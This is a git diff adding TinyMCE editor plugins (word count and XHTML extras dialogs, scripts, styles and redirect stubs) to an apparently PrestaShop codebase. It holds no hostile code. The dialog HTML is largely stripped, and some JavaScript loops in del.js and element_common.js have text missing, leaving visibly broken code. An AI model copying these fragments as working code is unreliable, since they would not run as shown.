a=0;var b=c.getContent({format:"raw"});if(b){b=b.replace(/\.\.\./g," ");b=b.replace(/<.[^<>]*?>/g," ").replace(/ | /gi," ");b=b.replace(/(\w+)(&.+?;)+(\w+)/,"$1$3").replace(/&.+?;/g," ");b=b.replace(this.cleanre,"");var d=b.match(this.countre);if(d){a=d.length}}return a},_count:function(a){var b=this;if(b.block){return}b.block=1;setTimeout(function(){if(!a.destroyed){var c=b._getCount(a);tinymce.DOM.setHTML(b.id,c.toString());setTimeout(function(){b.block=0},b.update_rate)}},1)},getInfo:function(){return{longname:"Word Count plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("wordcount",tinymce.plugins.WordCount)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/wordcount/editor_plugin_src.js b/js/tiny_mce/plugins/wordcount/editor_plugin_src.js new file mode 100755 index 0000000..3fb8fff --- /dev/null +++ b/js/tiny_mce/plugins/wordcount/editor_plugin_src.js @@ -0,0 +1,122 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.WordCount', { + block : 0, + id : null, + countre : null, + cleanre : null, + + init : function(ed, url) { + var t = this, last = 0, VK = tinymce.VK; + + t.countre = ed.getParam('wordcount_countregex', /[\w\u2019\'-]+/g); // u2019 == ’ + t.cleanre = ed.getParam('wordcount_cleanregex', /[0-9.(),;:!?%#$?\'\"_+=\\\/-]*/g); + t.update_rate = ed.getParam('wordcount_update_rate', 2000); + t.update_on_delete = ed.getParam('wordcount_update_on_delete', false); + t.id = ed.id + '-word-count'; + + ed.onPostRender.add(function(ed, cm) { + var row, id; + + // Add it to the specified id or the theme advanced path + id = ed.getParam('wordcount_target_id'); + if (!id) { + row = tinymce.DOM.get(ed.id + '_path_row'); + + if (row) + tinymce.DOM.add(row.parentNode, 'div', {'style': 'float: right'}, ed.getLang('wordcount.words', 'Words: ') + '0'); + } else { + tinymce.DOM.add(id, 'span', {}, '0'); + } + }); + + ed.onInit.add(function(ed) { + ed.selection.onSetContent.add(function() { + t._count(ed); + }); + + t._count(ed); + }); + + ed.onSetContent.add(function(ed) { + t._count(ed); + }); + + function checkKeys(key) { + return key !== last && (key === VK.ENTER || last === VK.SPACEBAR || checkDelOrBksp(last)); + } + + function checkDelOrBksp(key) { + return key === VK.DELETE || key === VK.BACKSPACE; + } + + ed.onKeyUp.add(function(ed, e) { + if (checkKeys(e.keyCode) || t.update_on_delete && checkDelOrBksp(e.keyCode)) { + t._count(ed); + } + + last = e.keyCode; + }); + }, + + _getCount : function(ed) { + var tc = 0; + var tx = ed.getContent({ format: 'raw' }); + + if (tx) { + tx = tx.replace(/\.\.\./g, ' '); // convert ellipses to spaces + tx = tx.replace(/<.[^<>]*?>/g, ' ').replace(/ | /gi, ' '); // remove html tags and space chars + + // deal with html entities + tx = tx.replace(/(\w+)(&.+?;)+(\w+)/, "$1$3").replace(/&.+?;/g, ' '); + tx = tx.replace(this.cleanre, ''); // remove numbers and punctuation + + var wordArray = tx.match(this.countre); + if (wordArray) { + tc = wordArray.length; + } + } + + return tc; + }, + + _count : function(ed) { + var t = this; + + // Keep multiple calls from happening at the same time + if (t.block) + return; + + t.block = 1; + + setTimeout(function() { + if (!ed.destroyed) { + var tc = t._getCount(ed); + tinymce.DOM.setHTML(t.id, tc.toString()); + setTimeout(function() {t.block = 0;}, t.update_rate); + } + }, 1); + }, + + getInfo: function() { + return { + longname : 'Word Count plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/wordcount', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + tinymce.PluginManager.add('wordcount', tinymce.plugins.WordCount); +})(); diff --git a/js/tiny_mce/plugins/wordcount/index.php b/js/tiny_mce/plugins/wordcount/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/wordcount/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/xhtmlxtras/abbr.htm b/js/tiny_mce/plugins/xhtmlxtras/abbr.htm new file mode 100755 index 0000000..d410218 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/abbr.htm @@ -0,0 +1,142 @@ + + + + {#xhtmlxtras_dlg.title_abbr_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/acronym.htm b/js/tiny_mce/plugins/xhtmlxtras/acronym.htm new file mode 100755 index 0000000..12b189b --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/acronym.htm @@ -0,0 +1,142 @@ + + + + {#xhtmlxtras_dlg.title_acronym_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/attributes.htm b/js/tiny_mce/plugins/xhtmlxtras/attributes.htm new file mode 100755 index 0000000..d84f378 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/attributes.htm @@ -0,0 +1,149 @@ + + + + {#xhtmlxtras_dlg.attribs_title} + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.attribute_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.attribute_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/cite.htm b/js/tiny_mce/plugins/xhtmlxtras/cite.htm new file mode 100755 index 0000000..ab61b33 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/cite.htm @@ -0,0 +1,142 @@ + + + + {#xhtmlxtras_dlg.title_cite_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/css/attributes.css b/js/tiny_mce/plugins/xhtmlxtras/css/attributes.css new file mode 100755 index 0000000..85b1b37 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/css/attributes.css @@ -0,0 +1,11 @@ +.panel_wrapper div.current { + height: 290px; +} + +#id, #style, #title, #dir, #hreflang, #lang, #classlist, #tabindex, #accesskey { + width: 200px; +} + +#events_panel input { + width: 200px; +} diff --git a/js/tiny_mce/plugins/xhtmlxtras/css/index.php b/js/tiny_mce/plugins/xhtmlxtras/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/css/popup.css b/js/tiny_mce/plugins/xhtmlxtras/css/popup.css new file mode 100755 index 0000000..034b985 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/css/popup.css @@ -0,0 +1,9 @@ +input.field, select.field {width:200px;} +input.picker {width:179px; margin-left: 5px;} +input.disabled {border-color:#F2F2F2;} +img.picker {vertical-align:text-bottom; cursor:pointer;} +h1 {padding: 0 0 5px 0;} +.panel_wrapper div.current {height:160px;} +#xhtmlxtrasdel .panel_wrapper div.current, #xhtmlxtrasins .panel_wrapper div.current {height: 230px;} +a.browse span {display:block; width:20px; height:20px; background:url('../../../themes/advanced/img/icons.gif') -140px -20px;} +#datetime {width:180px;} diff --git a/js/tiny_mce/plugins/xhtmlxtras/del.htm b/js/tiny_mce/plugins/xhtmlxtras/del.htm new file mode 100755 index 0000000..e3f34c7 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/del.htm @@ -0,0 +1,162 @@ + + + + {#xhtmlxtras_dlg.title_del_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_general_tab} + + + + + + + + + +
    : + + + + + +
    +
    :
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/editor_plugin.js b/js/tiny_mce/plugins/xhtmlxtras/editor_plugin.js new file mode 100755 index 0000000..9b98a51 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.XHTMLXtrasPlugin",{init:function(a,b){a.addCommand("mceCite",function(){a.windowManager.open({file:b+"/cite.htm",width:350+parseInt(a.getLang("xhtmlxtras.cite_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.cite_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAcronym",function(){a.windowManager.open({file:b+"/acronym.htm",width:350+parseInt(a.getLang("xhtmlxtras.acronym_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.acronym_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAbbr",function(){a.windowManager.open({file:b+"/abbr.htm",width:350+parseInt(a.getLang("xhtmlxtras.abbr_delta_width",0)),height:250+parseInt(a.getLang("xhtmlxtras.abbr_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceDel",function(){a.windowManager.open({file:b+"/del.htm",width:340+parseInt(a.getLang("xhtmlxtras.del_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.del_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceIns",function(){a.windowManager.open({file:b+"/ins.htm",width:340+parseInt(a.getLang("xhtmlxtras.ins_delta_width",0)),height:310+parseInt(a.getLang("xhtmlxtras.ins_delta_height",0)),inline:1},{plugin_url:b})});a.addCommand("mceAttributes",function(){a.windowManager.open({file:b+"/attributes.htm",width:380+parseInt(a.getLang("xhtmlxtras.attr_delta_width",0)),height:370+parseInt(a.getLang("xhtmlxtras.attr_delta_height",0)),inline:1},{plugin_url:b})});a.addButton("cite",{title:"xhtmlxtras.cite_desc",cmd:"mceCite"});a.addButton("acronym",{title:"xhtmlxtras.acronym_desc",cmd:"mceAcronym"});a.addButton("abbr",{title:"xhtmlxtras.abbr_desc",cmd:"mceAbbr"});a.addButton("del",{title:"xhtmlxtras.del_desc",cmd:"mceDel"});a.addButton("ins",{title:"xhtmlxtras.ins_desc",cmd:"mceIns"});a.addButton("attribs",{title:"xhtmlxtras.attribs_desc",cmd:"mceAttributes"});a.onNodeChange.add(function(d,c,f,e){f=d.dom.getParent(f,"CITE,ACRONYM,ABBR,DEL,INS");c.setDisabled("cite",e);c.setDisabled("acronym",e);c.setDisabled("abbr",e);c.setDisabled("del",e);c.setDisabled("ins",e);c.setDisabled("attribs",f&&f.nodeName=="BODY");c.setActive("cite",0);c.setActive("acronym",0);c.setActive("abbr",0);c.setActive("del",0);c.setActive("ins",0);if(f){do{c.setDisabled(f.nodeName.toLowerCase(),0);c.setActive(f.nodeName.toLowerCase(),1)}while(f=f.parentNode)}});a.onPreInit.add(function(){a.dom.create("abbr")})},getInfo:function(){return{longname:"XHTML Xtras Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("xhtmlxtras",tinymce.plugins.XHTMLXtrasPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js b/js/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js new file mode 100755 index 0000000..a9c12ef --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/editor_plugin_src.js @@ -0,0 +1,132 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.XHTMLXtrasPlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceCite', function() { + ed.windowManager.open({ + file : url + '/cite.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.cite_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.cite_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAcronym', function() { + ed.windowManager.open({ + file : url + '/acronym.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.acronym_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.acronym_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAbbr', function() { + ed.windowManager.open({ + file : url + '/abbr.htm', + width : 350 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_width', 0)), + height : 250 + parseInt(ed.getLang('xhtmlxtras.abbr_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceDel', function() { + ed.windowManager.open({ + file : url + '/del.htm', + width : 340 + parseInt(ed.getLang('xhtmlxtras.del_delta_width', 0)), + height : 310 + parseInt(ed.getLang('xhtmlxtras.del_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceIns', function() { + ed.windowManager.open({ + file : url + '/ins.htm', + width : 340 + parseInt(ed.getLang('xhtmlxtras.ins_delta_width', 0)), + height : 310 + parseInt(ed.getLang('xhtmlxtras.ins_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + ed.addCommand('mceAttributes', function() { + ed.windowManager.open({ + file : url + '/attributes.htm', + width : 380 + parseInt(ed.getLang('xhtmlxtras.attr_delta_width', 0)), + height : 370 + parseInt(ed.getLang('xhtmlxtras.attr_delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('cite', {title : 'xhtmlxtras.cite_desc', cmd : 'mceCite'}); + ed.addButton('acronym', {title : 'xhtmlxtras.acronym_desc', cmd : 'mceAcronym'}); + ed.addButton('abbr', {title : 'xhtmlxtras.abbr_desc', cmd : 'mceAbbr'}); + ed.addButton('del', {title : 'xhtmlxtras.del_desc', cmd : 'mceDel'}); + ed.addButton('ins', {title : 'xhtmlxtras.ins_desc', cmd : 'mceIns'}); + ed.addButton('attribs', {title : 'xhtmlxtras.attribs_desc', cmd : 'mceAttributes'}); + + ed.onNodeChange.add(function(ed, cm, n, co) { + n = ed.dom.getParent(n, 'CITE,ACRONYM,ABBR,DEL,INS'); + + cm.setDisabled('cite', co); + cm.setDisabled('acronym', co); + cm.setDisabled('abbr', co); + cm.setDisabled('del', co); + cm.setDisabled('ins', co); + cm.setDisabled('attribs', n && n.nodeName == 'BODY'); + cm.setActive('cite', 0); + cm.setActive('acronym', 0); + cm.setActive('abbr', 0); + cm.setActive('del', 0); + cm.setActive('ins', 0); + + // Activate all + if (n) { + do { + cm.setDisabled(n.nodeName.toLowerCase(), 0); + cm.setActive(n.nodeName.toLowerCase(), 1); + } while (n = n.parentNode); + } + }); + + ed.onPreInit.add(function() { + // Fixed IE issue where it can't handle these elements correctly + ed.dom.create('abbr'); + }); + }, + + getInfo : function() { + return { + longname : 'XHTML Xtras Plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('xhtmlxtras', tinymce.plugins.XHTMLXtrasPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/index.php b/js/tiny_mce/plugins/xhtmlxtras/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/ins.htm b/js/tiny_mce/plugins/xhtmlxtras/ins.htm new file mode 100755 index 0000000..226e605 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/ins.htm @@ -0,0 +1,162 @@ + + + + {#xhtmlxtras_dlg.title_ins_element} + + + + + + + + + + +
    + + +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_general_tab} + + + + + + + + + +
    : + + + + + +
    +
    :
    +
    +
    + {#xhtmlxtras_dlg.fieldset_attrib_tab} + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    : + +
    :
    : + +
    : + +
    +
    +
    +
    +
    + {#xhtmlxtras_dlg.fieldset_events_tab} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    :
    +
    +
    +
    +
    + + + +
    +
    + + diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/abbr.js b/js/tiny_mce/plugins/xhtmlxtras/js/abbr.js new file mode 100755 index 0000000..1790e83 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/abbr.js @@ -0,0 +1,28 @@ +/** + * abbr.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('abbr'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAbbr() { + SXE.insertElement('abbr'); + tinyMCEPopup.close(); +} + +function removeAbbr() { + SXE.removeElement('abbr'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/acronym.js b/js/tiny_mce/plugins/xhtmlxtras/js/acronym.js new file mode 100755 index 0000000..93b8d25 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/acronym.js @@ -0,0 +1,28 @@ +/** + * acronym.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('acronym'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAcronym() { + SXE.insertElement('acronym'); + tinyMCEPopup.close(); +} + +function removeAcronym() { + SXE.removeElement('acronym'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/attributes.js b/js/tiny_mce/plugins/xhtmlxtras/js/attributes.js new file mode 100755 index 0000000..9e9b07e --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/attributes.js @@ -0,0 +1,111 @@ +/** + * attributes.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + tinyMCEPopup.resizeToInnerSize(); + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var elm = inst.selection.getNode(); + var f = document.forms[0]; + var onclick = dom.getAttrib(elm, 'onclick'); + + setFormValue('title', dom.getAttrib(elm, 'title')); + setFormValue('id', dom.getAttrib(elm, 'id')); + setFormValue('style', dom.getAttrib(elm, "style")); + setFormValue('dir', dom.getAttrib(elm, 'dir')); + setFormValue('lang', dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); + className = dom.getAttrib(elm, 'class'); + + addClassesToList('classlist', 'advlink_styles'); + selectByValue(f, 'classlist', className, true); + + TinyMCE_EditableSelects.init(); +} + +function setFormValue(name, value) { + if(value && document.forms[0].elements[name]){ + document.forms[0].elements[name].value = value; + } +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + + setAllAttribs(elm); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); +} + +function setAttrib(elm, attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib.toLowerCase()]; + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + dom.setAttrib(elm, attrib.toLowerCase(), value); +} + +function setAllAttribs(elm) { + var f = document.forms[0]; + + setAttrib(elm, 'title'); + setAttrib(elm, 'id'); + setAttrib(elm, 'style'); + setAttrib(elm, 'class', getSelectValue(f, 'classlist')); + setAttrib(elm, 'dir'); + setAttrib(elm, 'lang'); + setAttrib(elm, 'tabindex'); + setAttrib(elm, 'accesskey'); + setAttrib(elm, 'onfocus'); + setAttrib(elm, 'onblur'); + setAttrib(elm, 'onclick'); + setAttrib(elm, 'ondblclick'); + setAttrib(elm, 'onmousedown'); + setAttrib(elm, 'onmouseup'); + setAttrib(elm, 'onmouseover'); + setAttrib(elm, 'onmousemove'); + setAttrib(elm, 'onmouseout'); + setAttrib(elm, 'onkeypress'); + setAttrib(elm, 'onkeydown'); + setAttrib(elm, 'onkeyup'); + + // Refresh in old MSIE +// if (tinyMCE.isMSIE5) +// elm.outerHTML = elm.outerHTML; +} + +function insertAttribute() { + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); +tinyMCEPopup.requireLangPack(); diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/cite.js b/js/tiny_mce/plugins/xhtmlxtras/js/cite.js new file mode 100755 index 0000000..b73ef47 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/cite.js @@ -0,0 +1,28 @@ +/** + * cite.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('cite'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertCite() { + SXE.insertElement('cite'); + tinyMCEPopup.close(); +} + +function removeCite() { + SXE.removeElement('cite'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/del.js b/js/tiny_mce/plugins/xhtmlxtras/js/del.js new file mode 100755 index 0000000..a5397f7 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/del.js @@ -0,0 +1,53 @@ +/** + * del.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('del'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertDel() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'DEL'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('del'); + var elementArray = SXE.inst.dom.select('del[data-mce-new]'); + for (var i=0; i 0) { + tagName = element_name; + + insertInlineElement(element_name); + var elementArray = tinymce.grep(SXE.inst.dom.select(element_name)); + for (var i=0; i -1) ? true : false; +} + +SXE.removeClass = function(elm,cl) { + if(elm.className == null || elm.className == "" || !SXE.containsClass(elm,cl)) { + return true; + } + var classNames = elm.className.split(" "); + var newClassNames = ""; + for (var x = 0, cnl = classNames.length; x < cnl; x++) { + if (classNames[x] != cl) { + newClassNames += (classNames[x] + " "); + } + } + elm.className = newClassNames.substring(0,newClassNames.length-1); //removes extra space at the end +} + +SXE.addClass = function(elm,cl) { + if(!SXE.containsClass(elm,cl)) elm.className ? elm.className += " " + cl : elm.className = cl; + return true; +} + +function insertInlineElement(en) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + ed.getDoc().execCommand('FontName', false, 'mceinline'); + tinymce.each(dom.select('span,font'), function(n) { + if (n.style.fontFamily == 'mceinline' || n.face == 'mceinline') + dom.replace(dom.create(en, {'data-mce-new' : 1}), n, 1); + }); +} diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/index.php b/js/tiny_mce/plugins/xhtmlxtras/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/js/ins.js b/js/tiny_mce/plugins/xhtmlxtras/js/ins.js new file mode 100755 index 0000000..71a8a26 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/js/ins.js @@ -0,0 +1,53 @@ +/** + * ins.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: 